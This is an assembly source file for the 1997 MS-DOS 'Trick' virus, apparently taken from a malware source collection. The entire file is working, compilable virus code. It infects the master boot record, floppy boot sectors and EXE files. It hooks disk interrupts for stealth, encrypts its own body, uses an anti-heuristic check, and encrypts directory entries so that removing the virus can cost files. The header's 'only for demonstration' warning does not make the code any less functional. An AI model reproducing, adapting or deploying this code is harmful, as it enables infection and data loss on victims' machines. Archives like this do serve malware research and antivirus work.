MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.trick446.asm
2021-01-12 18:01:59 -06:00

256 lines
6.0 KiB
NASM

; Trick Virii (446 bytes length!)
; (l) 1997 copyleft by Psychomancer // SPS.
; 2:454/7.64@FidoNet
; MBR/BOOT/EXE stealth hard-removable infector.
; Thanx 2 Nutcracker 4 "cryp_sec" algorithm.
; WARNING! 4 compile tasm /m option needed!
; DON'T RUN IT! ONLY 4 DEMONSTRATION!
model tiny
.code
begin: mov cx,decryp_len
call $+3
xor ah,ah
int 15h ; antiheuristic trick (must b CF=1 on return)
pop si
sbb al,al ; <- set AL in zero manual on 1st execute!
; (in DEBUG)
lea di,[si+decryp_begin-6]
xor_decryp: sub al,0
xor_mask equ $-begin-1
xor cs:[di],al ; decrypt selfbody
inc di
loop xor_decryp
decryp_begin equ $-begin
decryp_code: sub si,6
jz file_start ; goto if run from file
mov bx,7c00h
xor di,di
mov ds,di
mov ss,di
mov sp,bx
dec word ptr ds:[413h] ; decrease TOM
mov ax,[di+3*4]
mov [si+rom_mask],ax ; store crypt mask
int 12h
mov cx,206h
mov [si+offrand],ch ; set in 2
shl ax,cl
mov es,ax
push ss bx
rep movsb ; move selfbody 2 new segm
push es
mov es,cx
mov cl,go_after_move
push cx
retf
;-----------------------------------------------;
file_start: mov ax,0deadh
int 13h ; we present in memory?
jnc file_exit
mov ah,13h
int 2fh
mov ax,259ah
int 21h ; set int 9ah on ROM int 13h
mov ah,13h
int 2fh
push cs
pop es
mov ax,1600h
int 2fh
cmp ax,1600h ; we execute under windoze?
mov al,0
org $-1
jnc $ ; no - will b crypt direntries
org $-1
je no_win_run
mov al,0
org $-1
jmp $ ; yeah - no crypt direntries
org $-1
no_win_run: mov cs:cryp_switch,al ; store it
lea bx,buffer
call copy_2_mbr ; infect mbr on 1st hd
file_exit: .exit
;-----------------------------------------------;
go_after_move equ $-begin
mov si,13h*4
mov di,9ah*4
movsw ; set int 9ah on ROM int 13h
movsw
mov word ptr [si-4],offset int_13h_entry ; hook int 13h
mov [si-2],ax
cmp byte ptr [bx],0ebh ; we loading from floppy boot?
jne load_from_mbr
call copy_2_mbr ; yeah - infect mbr on 1st hd
load_from_mbr: mov cl,11h ; read original mbr code
read_sec: mov dx,80h
mov ax,201h
int 9ah
retf ; exit
;-----------------------------------------------;
int_13h_entry: mov cs:store_fn,ah
mov cs:store_sc,al
cmp ax,0deadh ; our function?
je exit_13h_retf
int 9ah ; call old int 13h
pushf
push ax si di ds dx cx es
pop ds
jc exit_13h ; exit if error
mov ax,0
store_fn = byte ptr $-2
cmp dl,80h ; non-1st hd?
je hd_access
cmp al,3 ; write?
jne exit_13h
cmp dx,cx ; floppy?
ja no_boot_write
dec cx ; boot?
jnz no_boot_write
mov word ptr [bx],3eebh ; yeah - infect floppy boot
jmp copy_2_boot
no_boot_write: mov ax,[bx]
not ax
mul ah
sub ax,72bah ; 'MZ' or 'ZM' in buffer?
jnz exit_13h
int 1ah ; get timer tick
mov cl,0 ; randomize
offrand equ $-begin-1
xchg dx,ax
cwd
idiv cx ; get random
and dx,dx
jnz exit_13h
mov [bx+6],dx ; set number of relocation on zero
mov word ptr [bx+8],4 ; length of header
mov [bx+14h],dx ; set cs:ip on zero (i.e. on trick ;)
mov [bx+16h],dx
rol byte ptr cs:offrand,1 ; change randomize
copy_2_boot: lea di,[bx+40h]
call crypt_self ; self encrypt and move 2 buffer
pop cx dx
call write_sec ; write sector on disk
jmp exit_13h_pop
hd_access: cmp al,2 ; read?
jne no_stealth
and dh,dh ; head is zero?
jnz hd_read
dec cx ; cyl/sec is 0/1?
jnz hd_read
mov cl,11h
push cs
call read_sec ; read original mbr
exit_13h: pop cx dx
exit_13h_pop: pop ds di si ax
popf
exit_13h_retf: retf 2 ; exit from int 13h
no_stealth: cmp al,3 ; write?
jne exit_13h
hd_read: mov cs:cryp_or_decryp,0 ; set "js"
org $-1
js $
org $-1
call crypt_sec ; encrypt direntries in buffer
cryp_switch label byte
jnc decrypt_sec ; goto if direntries is not found
pop cx ; restore cyl/sec
push cx
mov ah,3
int 9ah ; re-write crypted direntries
decrypt_sec: lea ax,exit_13h ; decrypt direntries in buffer
push ax
;-----------------------------------------------;
crypt_sec: mov cx,0 ; number of sector
store_sc = byte ptr $-2
push cx
mov si,bx
scan_next_sec: push cx
mov cl,10h ; number of direntries on one sector
scan_next_elem: push cx si
mov cl,0bh
next_char_name: lodsb
cmp al,' ' ; check if filename
jb get_next_elem
loop next_char_name
lodsb
test al,11001000b ; check if attribute
jnz get_next_elem
mov cl,9
next_char_res: lodsb
and al,al ; check if normal (not long!) filename
jnz get_next_elem
loop next_char_res
test [si],dl ; already en/decrypted?
cryp_or_decryp label byte
js get_next_elem
xor [si],dl ; en/decrypt direntry
mov ax,0 ; mask of crypt
rom_mask equ $-begin-2
sub ax,[si+1]
xor [si+5],ax
mov ah,1 ; set bit
get_next_elem: pop si cx
add si,20h ; get next direntry
loop scan_next_elem
pop cx ; get next sector
loop scan_next_sec
inc cs:cryp_or_decryp ; change condition
sahf ; store bit on cf
pop ax
retn
;-----------------------------------------------;
crypt_self: push cs
pop ds
xor si,si
in al,40h ; get random mask
mov [si+xor_mask],al
mov cl,decryp_begin
rep movsb ; move unencrypted part
mov ah,-1
mov cx,decryp_len
xor_encryp: sub ah,al
movsb
xor es:[di-1],ah
loop xor_encryp ; move and encrypt selfbody
retn
;-----------------------------------------------;
copy_2_mbr: mov cx,1
push cs
call read_sec ; read mbr on 1st hd
cmp byte ptr es:[bx],0 ; already infected?
org $-1
mov cx,0
org $-2
je already_prs
mov cl,11h
call write_sec ; store original mbr in 0/0/17
mov di,bx
call crypt_self ; move and encrypt selfbody
inc cx ; cx=1
write_sec: mov ax,301h
int 9ah ; infect mbr
already_prs: retn
decryp_len equ $-decryp_code
len_body equ $-begin
buffer label byte
end begin